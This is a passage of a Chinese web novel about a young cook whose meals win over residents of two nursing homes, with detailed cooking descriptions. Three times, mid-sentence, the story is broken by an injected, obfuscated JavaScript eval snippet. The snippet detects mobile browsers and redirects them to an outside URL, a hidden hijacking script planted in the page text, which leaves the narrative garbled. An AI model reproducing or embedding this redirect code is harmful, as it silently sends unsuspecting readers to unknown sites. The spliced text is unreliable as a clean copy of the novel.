何泰勇点点头：“做饭呀，得靠悟性，小苏的各种选材、烹制、调味、火候掌握的都是一绝。每一种食材到了她手里，都脱胎换骨一样。” 不远处，老人庞巧芸的托盘里，几份素菜里有一份番茄焖菜花，好吃程度也是惊艳。 苏桃做这道菜的时候，番茄是特意用夹子夹着在火上烤完之后轻松剥皮的，所以里面的番茄肉完全炒出了番茄沙，汁水渗入每一朵菜花。 苏桃在番茄的选择上也很有讲究，选择番茄的时候，她会轻轻用手指按压一下番茄的底部，如果还是硬邦邦的，这不是真正自然成熟的，顶部微微凹陷，并且有熟透了的稍微柔软的感觉，这种番茄最好吃，汁水也更容易在锅里迸发出来。 庞巧芸吃完以后，摸着自己微微隆起的小腹，今天又是吃饱喝足的一天呢！ 晚上收工前准备回家，院长唐悦心在院子里突然叫住了苏桃。她招招手，苏桃走过去：“唐院长，什么事？” 院长唐悦心笑道：“明天是周六，我们家家乐养老院和市里面的红花养老院有联谊活动，大家有一些表演什么的。我们今天晚上会把台子提前搭好，明天联谊活动上可能需要准备一些饮料和甜点，方便大家在联谊当中拿取。所以明天你要辛苦一些，准备些小吃什么的，如果忙不过来，到外面买也可以。当天呢，工资会给你翻三倍。这种活动的话，一般都是翻两倍，但我觉得你最近表现真的好，奖励要多一些。” 苏桃点点头：“好。” 8. 核桃酥＋茯苓糕 领了任务后，苏桃回家了。对她来说，做食物是很享受的过程。明天上午刚好不用休息，接着做就是了。沉浸于食物当中，闻到食材本身发出的清香，看着它们从简单的食材变为一道能令人感到满足和开心的菜肴，苏桃就很有成就感。 尤其是明天还有外来的养老院人员过来，她更要好好表现，不会到外面去买什么现成的甜点，得亲手做才好啊。 到了家，她照例给苏小糯递了杯自己做的饮料。突然看见苏振岳、沈婉柔从他们房间出来，似乎商量好了什么要和她说。 苏桃坐在桌前，苏振岳开口：“我找工作也有段日子了，想打工，但出于各种原因，基本上进哪家面试，哪家就没了下文。” 沈婉柔点点头：“我想跟许家的影响也有关系，人家不敢用啊，不过你爸现在有了新的主意。” 苏振岳点头说：“我还是要自己创业，创业需要资本，咱家现在确实没有。好在我有个朋友，也是现在唯一愿意看我落魄还帮忙的人，他说在安淮市郊区有片地，把那地免费承包给我三年，我可以种任何自己想要的果树或者作物，把这块地利用好了，也是有经济价值的。” 苏桃眼前一亮：“那太好了！” 苏振岳却说：“只是那地还没开荒呢，就因为现在是块荒地，所以人家才借给咱的，我还得花费时间重新把那块地整一整、翻一翻。你妈有时间的话，也会去那边。你妹妹上学放学，就你暂时照顾。” 苏桃点头：“没问题。” 毕竟苏小糯上小学的地方也离家很近，她抽出十分钟还是有这个时间的。 这天晚上，弟弟苏亮哲周末离开住校的环境回家。回家之后听苏桃和苏小糯说起明天养老院联谊的事，他也自告奋勇：“我可以去养老院帮忙的，我最擅长端盘子端碗之类的。” 苏桃伸手揉了揉苏亮哲的头发：“不用，院子里有工作人员可以帮忙端东西，一般都他们来。” 苏亮哲说：“姐，我也要去，爸妈和小糯都说你做饭特别好吃，我回来以后还没吃过姐姐的饭呢，我想去蹭饭行不行啊？” 苏桃笑了：“行，那你要想吃东西，劳动完了可以吃一点，不过你要征求一下院长唐悦心阿姨的意思。” 苏亮哲大声道：“没问题！” 第二天一早，苏桃早早去了菜市场。在厨房做早饭的时候，就看到工作人员在外面忙碌，好像一直在布置舞台，下面还摆了好多椅子，方便老人们坐着。 摆开的长排桌子上面铺了餐布，院长唐悦心买了一箱一箱的纯净水在旁边放着，还有大颗大颗的圆滚滚的西瓜放在水里。这应该是给苏桃用来榨汁用的，当然有一些也可以直接切开放在外面供老人们食用。 苏桃忙完早饭，出门就看到一辆大巴车在家乐养老院门口停了下来，上面下了一些穿着演出服的老人，有的化了妆，拿着彩扇，穿着长长的到脚踝的长裙，阿姨们笑得像花儿一样。叔叔们也都穿上了绅士的西装、礼服的样子。 别说，这活动搞的，还真挺像那么回事。老人之间的联谊活动原来也是这么有趣啊。 苏桃探着脑袋看了一会儿，又缩回了厨房。 今天养老院的人更多了些，用作中场的点心要更丰富。只是老人们不能用过甜的糖，她就把糖用木糖醇替代，并且将甜度大大降低。原本嘛，甜点也是甜而不腻的才好吃。 苏桃现在所做的是一种核桃酥，要想最后变得酥脆可口，要选用低筋的面粉，还要加入鸡蛋、小苏打。 苏桃提前准备了大粒的核桃，从核桃壳内剥下来，将核桃碾碎以后，在锅内炒香。将调制好的面粉加入核桃碎，把它用手揉成圆圆的面团，再把它压扁，上面撒上黑芝麻以后，将这小小的核桃饼放入烤箱。 食堂的烤箱更大一些，一次就能出五六十枚的核桃酥，并且因为是特制的，好几层全部启用，很快就能烤好一批核桃酥。烤制的过程，甚至于苏桃隔着烤箱就能看到核桃酥慢慢定型、变得酥脆金黄的全过程。 她等待一会儿，时间差不多了，打开一看，上色均匀，金黄色泽漂亮极了。于是将热乎乎的核桃酥拿出来，随着其他的一些小甜点一起放了出去。 各种好吃的小饼干刚一上餐桌，老人们就被味道吸引，尤其是热乎着的点心，酥香、甜味更明显，伴着淡淡的奶香，更是诱人。 林文绣是红花养老院的老人，今年70多岁了，没什么基础病，就爱吃些甜点。也不知道为什么，上了年纪以后，对甜食反而产生了浓厚的兴趣，隔段时间总要去附近的甜点房买上那么一兜子，每天吃几块儿点心，她就觉得心情爽朗。 对甜品颇有研究的她，一看到上来的那道核桃酥，就不由惊叹，这色泽、外观不俗，比点心店里做的看起来用料还要更扎实些，都能看到核桃酥里粒粒分明的核桃。 核桃酥端上来时，林文绣正穿着旗袍，待会儿是要在台上做模特步展示的。她和模特队的姐妹们排练了好长时间，不过现在还没到她表演的时间。 旁边音响里放着音乐，她看到家家乐养老院的老人们看到点心上来，纷纷走过来，拿起一块点心，边吃边看台上的表演。她猜到了，这大厨手艺肯定不错，不然怎么每出一锅都会吸引这么多人？ 林文绣也拿起一块，问了下味道，非常香甜。尝了一口，一嚼着核桃酥，入口酥脆，紧接着就完全融化在口腔内，非常纯正、香浓的核桃味道，让林文绣不由大惊。吃过了好吃的糕点，才知道之前的糕点甜腻味有多么明显，这食材本身的滋味怎么能被发挥得这样好，没有吃过如此细腻的。 表面看上去格外简单的一道点心，却足以让她久久震惊。吃完一块，林文绣又忍不住拿了一块，吃得表演服上都掉了渣都浑然不知。 还是她们同队的模特队友周香苗上前，看到了她衣服上的核桃渣，拿手帮她拍掉，感叹说：“姐，马上要轮到咱们表演了，你这怎么还馋嘴呢？” “真的是太好吃了，你要不要尝一尝？就剩没几块了，家家乐养老院的老人们都快抢光了。” “嗨，我不吃这东西，我已经好久没碰过甜食了，吃了腻得慌。” “她这儿大厨做的一点儿也不甜，而且是用了木糖醇的，我问过了。还有最后一块，你尝尝吧。” 周香苗将信将疑，直接将一整块核桃酥塞进嘴里，往后台走着。结果这咬到核桃酥的瞬间，突然顿住，眼睛都睁大了：“这么好吃的吗？” 她回身一眼看到，核桃酥就剩最后两块，于是快速折返回去，在其他老人伸手去拿的时候，她抓住了留在盘子里的最后一块儿。 这次她可不能那么囫囵吞枣一口吞下去，要一点一点慢慢嚼，才能保留美味在口腔的时间足够久。 “接下来上台表演的是红花养老院’漂亮每一天‘模特儿队，欢迎！”主持人在台上介绍。 哎呀，轮到自己了，周香苗吃完了最后一口核桃酥，上台自信满满地走起模特步。台下两个养老院的观众掌声阵阵，院长唐悦心还安排了工作人员上台给模特队每个老人手里递了捧花。林文绣和周香苗她们都笑得乐开花。 模特队下了台以后，林文绣很快又闻到了香甜西瓜的味道。原来是院长唐悦心找工作人员切了西瓜给老人们吃，夏天用来解暑。 正吃着西瓜，苏桃的新一批点心又出锅了。林文绣看到大托盘上码放着的白色糕点，看上去软软糯糯的，旁边桌前放着标签“宫廷茯苓糕”。 “我也要拿一块儿宫廷茯苓糕，这香味也太好闻了吧！” 红花养老院的老人祝大海背着手摇摇头，从刚才到这会儿，他就吃了两块西瓜，苏桃做的什么点心都没尝。 然而，祝大海站在旁边，看到几个红花养老院的老人也伸手拿了茯苓糕以后，忍不住夸赞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670071|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子，也忍不住动了心思：“真有这么好吃吗？还什么宫廷茯苓糕，叫法夸张了吧？” “真的好吃，祝哥你尝尝啊！” “这茯苓糕我孩子都给我买过，说是健脾渗湿，对脾胃好，不过我吃了干巴巴的，不跟大米糕一样吗？有什么区别？这里做的能好吃多少？” 眼看着一只又一只手上前，探身拿走了茯苓糕，简直是抢的架势。祝大海也有些纳闷了，看起来家家乐养老院的老人们对苏桃的厨艺很是认可，不然为什么会目光都瞄在点心上，只要来新的点心，肯定都要尝一尝。 祝大海还在犹豫，被旁边的老人塞了一块茯苓糕：“赶紧的，我给你拿一块儿，趁热吃。” 这茯苓糕看上去挺大一块儿，有手掌那么长，白白软软，看起来挺蓬松的样子。凑近一闻，有股淡淡的清香。 祝大海咬了一口，淡淡的茯苓香气伴着浓郁的米香，其中似乎还增加了一些坚果的香气，味道相当丰富，口感则是软软糯糯。虽说食材似乎还是那些，但不知为什么，吃起来就是比以前孩子买的那些要好吃很多。 茯苓本身淡淡的苦味也变得非常微弱，并不苦涩，反而增添了它的独特感。祝大海越嚼茯苓糕越有味道，看起来朴实无华，可是嚼在嘴里，因为还是刚刚出炉的热乎乎的，他越吃越上瘾。 等他再想去拿的时候，发现全部的茯苓糕居然都被拿完了。 院长唐悦心今天特意空出时间，她没看表演，让工作人员盯着，自己则去了厨房帮苏桃分担：“我担心你一个人做这些太辛苦，所以特意放出了一个招聘名额，给你招个小工，帮你打下手，择菜、洗菜、切菜，帮你搬东西，都可以交给他，这样你能轻松一些。” 苏桃正在搅面糊，准备做一个烘烤小饼干，听见这话，弯了弯唇角：“太好了，谢谢院长！” 唐悦心问：“我在这儿闲着也是闲着，能帮你做点什么吗？” 苏桃看了看旁边正在发的面，打开面板瞧了一眼，发的差不多了，便说：“唐院长，那你帮我把这一团面揉一揉，揉到光滑、不粘盆儿就行。” 唐悦心撸起袖子，点头：“这个我会，保证给面团揉好。” 其他工作人员都在外面保障联谊会的顺利进行。苏桃听着院子里发出了阵阵欢呼声，也不由为老人们感到高兴。 院长唐悦心一边快速揉着面，一边说：“中午可以做简单些，大家上午吃那些糕点估计都半饱了，何况人多，你做起来也吃力，我觉得一碗面就行了，面做多一些，不够了他们再盛就是了。” 苏桃思索片刻，点点头：“确实，两顿餐离得比较近，吃太多容易积食，对阿姨叔叔们的胃也不好。” 苏桃的动作相当麻利，即便院长唐悦心努力想要跟上她的节奏，仍然觉得困难：“你同时兼顾不同的烤箱、揉面、打发蛋液、装点糕点，这么多事情要做，是怎么做得过来的？” 苏桃想了想说：“多线并行，记住每项任务的卡点时间，找准轻重缓急的任务就好了。” 听起来很简单，但真正实践起来却不容易。苏桃是因为在原世界做美食博主需要直播的缘故，动作必须麻利，不然直播间的观众会失去耐心，很快就下线，所以她久而久之，就养成了做事麻利的习惯。对她来说，同时做这些都不是问题。 苏桃现在正在烘烤的饼干里加入了蔓越莓，突然想起什么，跟院长唐悦心说了一声：“唐院长，今天我弟弟可能会来，他想尝尝我的手艺，但我经常不在家，他周末回来也尝不到，所以来蹭点儿点心。” 院长唐悦心说道：“客气什么，你的家人随便在这吃都没问题。” 说话间，弟弟苏亮哲的确拿着姐姐给的临时出入牌，通过保安亭登记以后，进了养老院。看到餐布上各式各样的点心，他愣住了，餐布上色泽好看的这么多种点心，居然全是他姐做的？也太厉害了吧！ 9. 八珍面＋海带冬瓜豆腐汤 苏桃将烘焙好的蔓越莓小饼干端上院子里的餐桌。老人们一看又有新的点心来了，纷纷上前，拿起来尝了一口，都是夸赞声连连：“好吃啊，太好吃了！” 弟弟苏亮哲也在旁边，拿起一枚尝了尝，入口即化的点心香浓醇厚，简直比蛋糕房里面卖的点心还要好吃好多倍。糕饼的香气完全被烘焙出来，还带着淡淡牛奶的香气，以及上好的蔓越莓颗粒，咬一口酸甜适中，让人吃了就想再来一块儿。 苏桃做的蔓越莓饼干更多些，足足端上三大托盘，密密麻麻的饼干堆得像小山一样，保证一个人至少可以拿上五六块。但即便如此，蔓越莓饼干仍然很快被扫荡一空。 弟弟苏亮哲见苏桃在人群里和老人们打招呼，有时被老人拉住亲切地夸奖聊天，觉得骄傲得不得了，这是她姐姐做出来的点心，简直是个神厨，这么随随便便一学都能做到这种程度，那要是真正发力得多厉害呀！ 苏亮哲慢慢绕过人群，走上前，悄悄拉住了苏桃的袖子，苏桃回头一看，伸手搭在了弟弟的肩膀上：“待会儿我要忙午饭，没时间照顾你，你就留在这儿，有叔叔阿姨需要帮忙的话，搭把手。” 苏亮哲点点头：“好的姐，刚刚我帮着工作人员搬道具来着。” 苏桃夸赞道：“那很好。” 她这个弟弟苏亮哲倒是让人省心。如今才上初中，却已经出脱得像个小大人似的，个子窜的也高，有眼力见儿。老人们似乎也很喜欢他。 苏桃回身去忙了，中午的面食她还要准备，她打算做一份食材丰富、营养齐全的八珍面。 这八珍面光是肉类就有好几种，鸡肉、鱼肉，再放入少量蟹黄。素菜有笋干儿、香菇、干木耳和油面筋，总共八样，所以叫做八珍面。 今天苏桃要自行扯面，她将面团揉好，醒一会儿再继续揉，重复这个步骤，面揉成小剂压扁，呈长圆形，表面刷上油，放在盆子里用保鲜膜包裹，晾上一段时间，这样扯面、拽的时候才能劲道，不至于中间断裂。 另一边，苏桃将鸡肉、虾肉、鱼肉分别处理以后，熬成浓白的汤汁，蟹黄要最后再下，充分保留它的营养和鲜味。除了鲜肉以外，苏桃还将自己晾晒的一些虾干儿、鱼干儿洗了一些丢入汤锅。 院长唐悦心好奇，问道：“为什么要加入一些肉干做食材？” 苏桃笑道：“肉干浓缩，滋味更厚重一些，做面的话，整个汤汁里面就有鲜肉和干肉两种味道，口感更丰富。” “原来还有这么多讲究。”院长唐悦心不禁感叹。怪不得苏桃做饭好吃呢，食材的选择上就这么有讲究。 处理完了肉食之后，将汤汁熬成浓白色，扑鼻的香气窜了出来，还只是半成品，院长唐悦心就已经被香的受不了了：“这也太好闻了吧！” 但这还是没有丢入素菜的情况下，放入笋干儿等四种素菜以后，汤品颜色从浓白中添了一点金黄，看起来更令人有食欲了。 面醒好了，苏桃将面在案板上轻轻一磕，两端的面就拉长在她手里，长长一根，又薄又匀称，像条玉带，漂亮极了。拉好的面被她依次丢入锅中，院长唐悦心看着也想试试，走上前拿出一团面，缓缓拉开之后果然发现，这面筋道非常，拉出来的时候，只要不是特别用力，顺着那个劲儿来，就很难断裂。 面条终于出锅了，熟蟹黄被一勺一勺地盛在面条最上方，撒一葱花。吃的时候，将面条挑起，蟹黄拌开，让蟹黄的味道缓缓融入汤汁，味道更是一绝。 苏桃时间卡的很好，那边活动结束，工作人员开始收凳子的时候，苏桃这边食堂就开门了。 家家乐养老院的老人当然第一时间进了食堂。红花养老院一些老人还在犹豫，他们有的在来之前，怕在新养老院吃不好饭，甚至自己包里还带了面包和鸡蛋，想着随便应付一顿，只要能吃饱就行。 没想到，随着食堂开门涌出来的是香浓至极的味道。 来自红花养老院的老人苏云蘅和程振川互相对视一眼：“哎呦好香啊！咱们要不进去尝尝？做点心的和做午饭的是同一个大厨，味道肯定不差。” “天呐，你看家家乐养老院的人速度多块，咱得赶紧跟上，别把饭抢没了！” 养老院今天的午餐只有一份八珍面，不过这一碗面就完全足够了，因为食材极为丰富，肉食的种类一点也不少。大家都纷纷盛了一大碗面，金黄色的汤汁摆在面前，大块大块肉码在面条上，明晃晃就是诱惑。 用筷子松松地挑动面条，吃上一口，只觉得鸡肉、鱼、虾、蟹四种鲜味各自能分辨的出来，融合在一起，既不相冲突，又不互相遮掩味道。入口是鱼和蟹的鲜气，吃到最后，鸡汤的浓郁在口中停留。 苏云蘅埋头吃了两口，忍不住发出“唔~”的感慨：“这八珍面也太好吃了吧？感觉尝一口能消除一天的疲惫。家家乐养老院的老人们吃这么好啊，好羡慕他们！” 程振川也感慨道：“我要是家住这附近就好了，方便住进家家乐养老院。真的太绝了，头一次有想为了吃的换养老院的冲动。咱们红花养老院要是也能请到这么好的大厨就好了。” “嗨，我吃了大半辈子的饭，像这样的厨师一共也没遇见几个。有一回是我年轻出差到首都，吃了一份五星级饭店的爆汁捞饭，那味道鲜美得很，我一直记到现在，但那可是五星级酒店。自那以后我就再也没吃过那样好的味道，直到今天，这份八珍面看似简单，都是常用食材，但居然能做的这么好吃，不逊色于那份爆汁捞饭的水准！我倒真是好奇，这大厨是什么来历。” “你没见吗？是个年轻小姑娘，看起来像是大学刚毕业。她弟弟刚才还上台给我们送花呢，弟弟才上初中。” “我的天，好年轻，了不得！” 中午吃完饭，红花养老院过来联谊的老人将要散去。 一个打扮靓丽，看上去就像贵妇的老人周静窈，上前拉住了苏桃的手：“小苏啊，你这么年轻，还没对象吧？我给你介绍个对象，怎么样？那男生人品能力都是一流的，只是在市里，离我们红花养老院很近，你看看要不要我介绍下，你们俩认识认识。关系更进一步的话，你都搬到市里，刚好离我们红花养老院也近。” 旁边的家家乐养老院老人宋怀谦一听这话，皱起了眉头：“这位妹妹，小苏可是我们家家乐养老院的大厨。你的心思我清楚，你要给她介绍对象，让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670072|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着去市里，到时候就要去你们红花养老院当大厨了，我们家家乐养老院可是不干。” 苏桃连忙开口说：“我现在还没有找对象的想法，谢谢阿姨的好意，我还是想先好好做饭，将来再说。”毕竟只有她知道现在家里是什么情况，能生存下来就不容易了，哪有心思谈情说爱呀。 周静窈一听，抓着苏桃的手，不愿意放开：“多好的孩子啊！”她看向宋怀谦，“真是好羡慕你们呀，有这么好的大厨。” 宋怀谦骄傲地说：“那是，这可是我们家家乐养老院的镇院之宝。” “大妹子，咱们联谊一趟，你们过来也不容易。你说要别的，我二话不说，全都奉上。” 两个老人不拌嘴不相识，唠着唠着，互相约起时间来。 “虽然远了点，但改天找时间，我还要来家家乐养老院吃饭！” “行，大妹子，回程顺利啊！” 坐上大巴回去之前，周静窈在苏桃的口袋里放了一把东西，苏桃一看，是几颗糖，她立刻丢进嘴里尝了尝，酸酸甜甜的果味，挺好吃。 看老人们因为这次联谊显得更加心情开朗，她也跟着高兴。今天天甜点的量比较大，怕老人们吃到腻歪，所以苏桃晚上在炒菜之余，还专门做了一道海带冬瓜豆腐汤给大家解腻。 干海带提前浸泡，切去以后切成小段，砂锅加水熬煮，放入豆腐，豆腐是苏桃前两天自己做的，用上好的大豆浸泡，磨成浆以后用滤布取出汁液，留下豆渣。留下的豆浆用卤水点了以后，就可以凝成豆腐，期间还要放一层笼布在豆腐上，用重物把豆腐脑压在模具里面，被压成一个致密的石块，就变成了有韧性的豆腐。 冬瓜要晚些放，这味食材有利水祛湿的功效，适合夏天早汤喝，但它容易煮碎，晚些放也是为了保留口感。出锅后，放入少量葱花提味。 这道海带冬瓜豆腐汤虽然简单，但今天却格外受欢迎。虽然是原始的食材，但苏桃的手仿佛有魔法似的，经过她一加工，怎么就那么好喝？ 几个老人坐在一起，也聊起来：“这汤里还加了点枸杞，好养人呢。” “我发现小苏不光饭做的好，还特别懂得营养搭配。” “是啊，吃了那么多甜点，再喝这个简直太解腻了。我刚刚又盛了一碗。” “这海带怎么被她炖的又鲜又嫩的？像我这牙口嚼起来都完全不成问题。” 托盘里的菜搭配，哪怕最简单的青菜，都不是一般水准，让人吃得身心舒畅。 吃饱喝足，大家都到院子里散步，晚上气温降下来，风一吹还挺凉快。自从小苏来了，家家乐养老院老人们每天的日子都有盼头了，睡觉前还总想着第二天能吃到什么美食呢。 苏桃整理了下厨房，都收拾干净了，把要晾的肉干做好搭在外面架子上，白天太阳好的时候刚好可以晒晒，尤其最近也没什么雨水，晾肉干再合适不过了。 忙完以后，苏桃收拾好东西，她的保温盒里早就盛好了海带冬瓜豆腐汤，她提在手里，回去让苏小糯尝尝。 离开养老院之前，老人们纷纷和她道晚安，苏桃挨个和他们摆摆手，出了养老院的门，朝家走去。 10. 菠菜鸡蛋卷＋宫保鸡丁 第二天，阳光大好。早晨起来，苏振岳、沈婉柔带着弟弟妹妹一起去郊区翻地去了。趁着这个周末多忙活忙活，把地尽快开荒。两个孩子也兴奋得不得了，能去翻地，都很兴奋。以前贵族家庭出身，哪里见过这么接地气的东西，对他们来说反而是很新鲜的。 苏桃则去了家家乐养老院。早饭做了三种不同的粥，南瓜粥、八宝粥、清火大米蔬菜粥。除此之外，还要做一些主食。 今天，她想要做一个菠菜鸡蛋卷。 苏桃将提前在市场买好的菠菜焯水，这样能去除大部分草酸，减少一些涩味的口感，也对健康更有好处。她习惯在沸水中加一点生油，让菠菜的颜色不至于变暗，还能保持翠绿的颜色。 然后捞起来，在案板上切成小段儿。将鸡蛋打入其中，和菠菜碎搅拌在一起，加入秘制调料拌匀后，在大个儿电饼铛里，将鸡蛋液用勺子均匀地撒上去，铺满这个电饼铛。 等鸡蛋饼微微凝固的时候，用铲子从一边卷起，整面大的鸡蛋饼慢慢被卷成很多层，在各个角度继续烘烤，让它四面八方都熟透。 这时候盛出来的就是一条长长的鸡蛋饼，从右侧慢慢切成小段。这时候，每一小段都有无数层，黄绿相间的颜色，看起来让人相当有食欲。 老人们到了这个年纪，都不太困觉，早早地就起床。等到食堂一开门，就赶紧进来。 顾明蕙看到有菠菜鸡蛋卷，看上去松松软软，有一层一层卷在里面，样子相当好看。她拿了一份，坐在桌前，就着八宝粥，咬下一口菠菜鸡蛋卷。 八宝粥被熬得粘稠烂糊，滋味十足，她最喜欢这种软软糯糯的八宝粥了。而现在这一口咸香气味的菠菜鸡蛋饼入了口，更是暗暗感叹好吃。这是外面有些餐馆比不了的，自从苏桃来了养老院，顾明蕙就觉得吃饭本身不光充满乐趣，吃完饭以后，身体的舒适也相当重要。小苏做的饭菜，吃完仿佛身体里面的每个细胞都得到滋养，满足得不得了。好吃中又带着那种难得的家常感，才是最珍贵的。 萧映雪今天换了一身新衣服，脸色明媚极了，坐在旁边，跟顾明蕙搭起话来：“哇，小苏做的八宝粥用了这么多材料，得有十几样儿吧，莲子、百合、红枣、花生、大米、银杏果，还有松子、桂圆、黑米……这个圆滚滚粉嫩嫩的是什么？” “这叫鸡头米，也叫芡实，这东西好着呢，也是一味中药呢，特别适合煲汤。肠胃不好的人，就特别适合吃。” “是吗？这么好吗，看起来颗颗软糯，圆滚滚的好饱满一颗。” 苏桃的八宝粥颜色紫红透亮，各种料沉在桶底，大勺一搅动就能舀起来满满的料。苏桃刚好在盛饭处放了白砂糖，喜欢吃甜的老人，可以加入一些白砂糖在碗里拌匀，甜甜糯糯，一口下去，香甜浓郁，比之前喝过的八宝粥都还好喝。 八宝粥吸引了不少老人的喜欢，很快，一个大桶就空了。还好苏桃准备了第二锅，重新倒回大桶里的时候，有老人排起了队伍，询问苏桃：“我带了保温桶，能带一点外出喝吗？今天我和两个好姐妹去附近的农场转转，中午可能没法回来吃饭，但是又想念这口八宝粥，可以带在路上喝吗？” 苏桃点点头：“可以。” 那老人开心地舀了一些八宝粥，装进保温饭盒里，对她来说，这一份简单的粥都这么好喝，怎么喝都喝不腻。 上午，沈清晏在院子里溜达，一直到了中午时分，坐在那棵梧桐树下，脑海中闪过一个片段的回忆。几十年前，她还小的时候，家里也有这么一棵梧桐树，透过梧桐树看过去，就是厨房。 厨房总是开着窗户，她能在树后看到妈妈做饭的样子。那时候，沈清晏妈妈最喜欢做的一道菜就是宫保鸡丁。沈清晏家在当时算条件不错的，但一道宫保鸡丁的香味还是能勾出大院里的小孩、大人都驻足，因为太好闻了。 虽说那时候鸡肉放得量少，配菜葱段很多，但那个味道依然让沈清晏牢记在心里，哪怕是吃一粒裹着酱汁的花生米，都能让她幸福上好几天时间。 她这么想着，不知不觉竟然又再次勾起了回忆的场景，鼻尖又闻到宫保鸡丁的香味。 被红油裹着的菜品，油亮华润，花生酥脆。她顺着香味去闻，直接到了食堂门口。打眼一瞧，苏桃已经开始准备午饭了。她惊讶，真的是宫保鸡丁的香味？ 因为考虑到每位老人不同的身体状况，院长唐悦心允许偶尔搭配一些微辣的菜肴，让老人们能吃得尽兴，尤其是一些没有基础疾病的老人，没必要太拘着自己。 于是苏桃这天做了宫保鸡丁，只是辣度有所降低，味道和其他做法是不变的。比如宫保鸡丁当中的干辣椒节，选用的就是香而不辣的辣椒。 把辣椒节在锅里翻炒炸好，控油以后，辣油的气息飘满整个食堂。鸡肉也得提前做处理，要用调料将鸡肉上浆，然后用刀背轻轻地拍打，这是为了让肉变得更加软嫩。 加入苏桃自己做的酱油腌渍，淀粉也是有必要的，在此基础上打入蛋清，由于鸡胸肉不好嚼，这么做是为了让它锁住调料汁的水分，变得更加嫩滑。 油热以后，倒入鸡丁，翻炒七八秒钟，将它捞出。随后重新起锅，花椒、辣椒段一起放入煸出香味，切好的葱段倒入、蒜片爆香。香气四溢的同时，将滑好的鸡胸肉再次倒入锅中。等到鸡肉熟了，淋好特制酱料，翻炒以后，倒入提前准备好的酥脆花生米，快速关火。 宫保鸡丁的味道太诱人了，还没到吃饭的时间，院内的老人都已经纷纷往食堂涌去，只是站在玻璃窗门外，嗅着这味道，都是一种享受。 经典菜的魅力就在于什么时候出现都能成为时刻的焦点。 “我已经迫不及待想要尝尝了，上回吃宫保鸡丁忘记了是什么时候，好久不吃，还真的好想念呢。” “我要就着宫保鸡丁吃下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670073|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一大碗米饭。” “那酱汁包裹在米饭上，粒粒分明的米饭都被酱汁浸透，是我最喜欢的吃法。” 门开了，何明峥三步两步大步走到最前面，给自己打了两大勺宫保鸡丁，盖在米饭上。 他今天没盛别的荤菜，就盛了两道素菜和一道宫保鸡丁，就是奔着它来的。 大口吃下一口宫保鸡丁，酸甜香辣，不过这辣味并不刺激，只是微微的感觉在舌尖上停留。对老人们来说，辣味非常友好。 最厉害的是苏桃还准备解辣神器，她提前做好了豆奶，可以用来解辣，并且在打饭的窗口处做了标注。 纯白色的豆奶，散发着淡淡的香甜气息，一口滑入嗓子，瞬间让胃变得很舒服。这边有了解辣的饮品，那边吃宫保鸡丁更加没有心理负担，一口花生酥脆，酥到骨子里，香气在口腔炸开的感觉。 何明峥不由感叹说：“这宫保鸡丁怎么会这么正宗？我吃过数不清的饭店做的宫保鸡丁，也都好吃，但小苏的更绝。鸡肉鲜嫩得不得了，这花生又是怎么炸的？这么酥脆？” 他跟旁边的老张头聊起来：“以前我也试着做过这道菜，炸过花生，但我做的话，不知道为什么花生总有一种闷闷的感觉，入口脆度不够。” 旁边老张头说：“你肯定是油温不够。” “我之前也尝试过不同的油温，换了好几种做法，都还是达不到那个效果。光这花生米要炸得酥脆，就不是人人能做到的。” “是啊，小苏做的宫保鸡丁是我有史以来吃过最好吃的，连一根葱段都好吃绝了。就这酱料也不知道是怎么调的，拌鞋底子都好吃！” 那边沈清晏吃下第一口宫保鸡丁，眼圈就已经红了。这顿饭让她想起了童年，想起了在窗口炒锅里做宫保鸡丁的沈清晏妈妈。好神奇，像是记忆里的味道，让她仿佛重回儿时的自己。 刚好今天是养老院一周一次的菜品打分时间。以往家家乐养老院就有这个规矩，要让老人们挑出最喜欢的菜、最不喜欢的菜，这样就能把一些不受欢迎的菜品剔除。 不过原来的家家乐养老院，老人们都懒得打分，因为每道菜都差不多，都平淡无味。现在老人们积极性起来了，苏桃刚好挑选大家吃饭的时候，可以把他们聚齐，挨个分发了打分表，等老人们快吃完的时候收回表格。 苏桃把这一个星期做的菜肴都列在上面，让大家在不同分值处打勾。结果收上来的时候，全是满满当当的5分满分，还有老人在上面写了三个大大的“好”字。 苏桃一看，搞得自己都怪不好意思。 何明峥上前，将表格递给苏桃：“小苏，你这表我没法打分呢。” “怎么了？”苏桃问，“是不是有很多菜都不合胃口？” 何明峥摇摇头：“你这满分怎么才5分？我能在后面自己标注吗？我们同桌那几个都觉得，你的饭菜值绝对一百分！” 11. 樱桃酪＋荷塘小炒 一场菜品评价，居然变成了大型夸夸大会。苏桃将收上来的表格交给旁边工作人员，让她交给忙碌中的院长唐悦心。 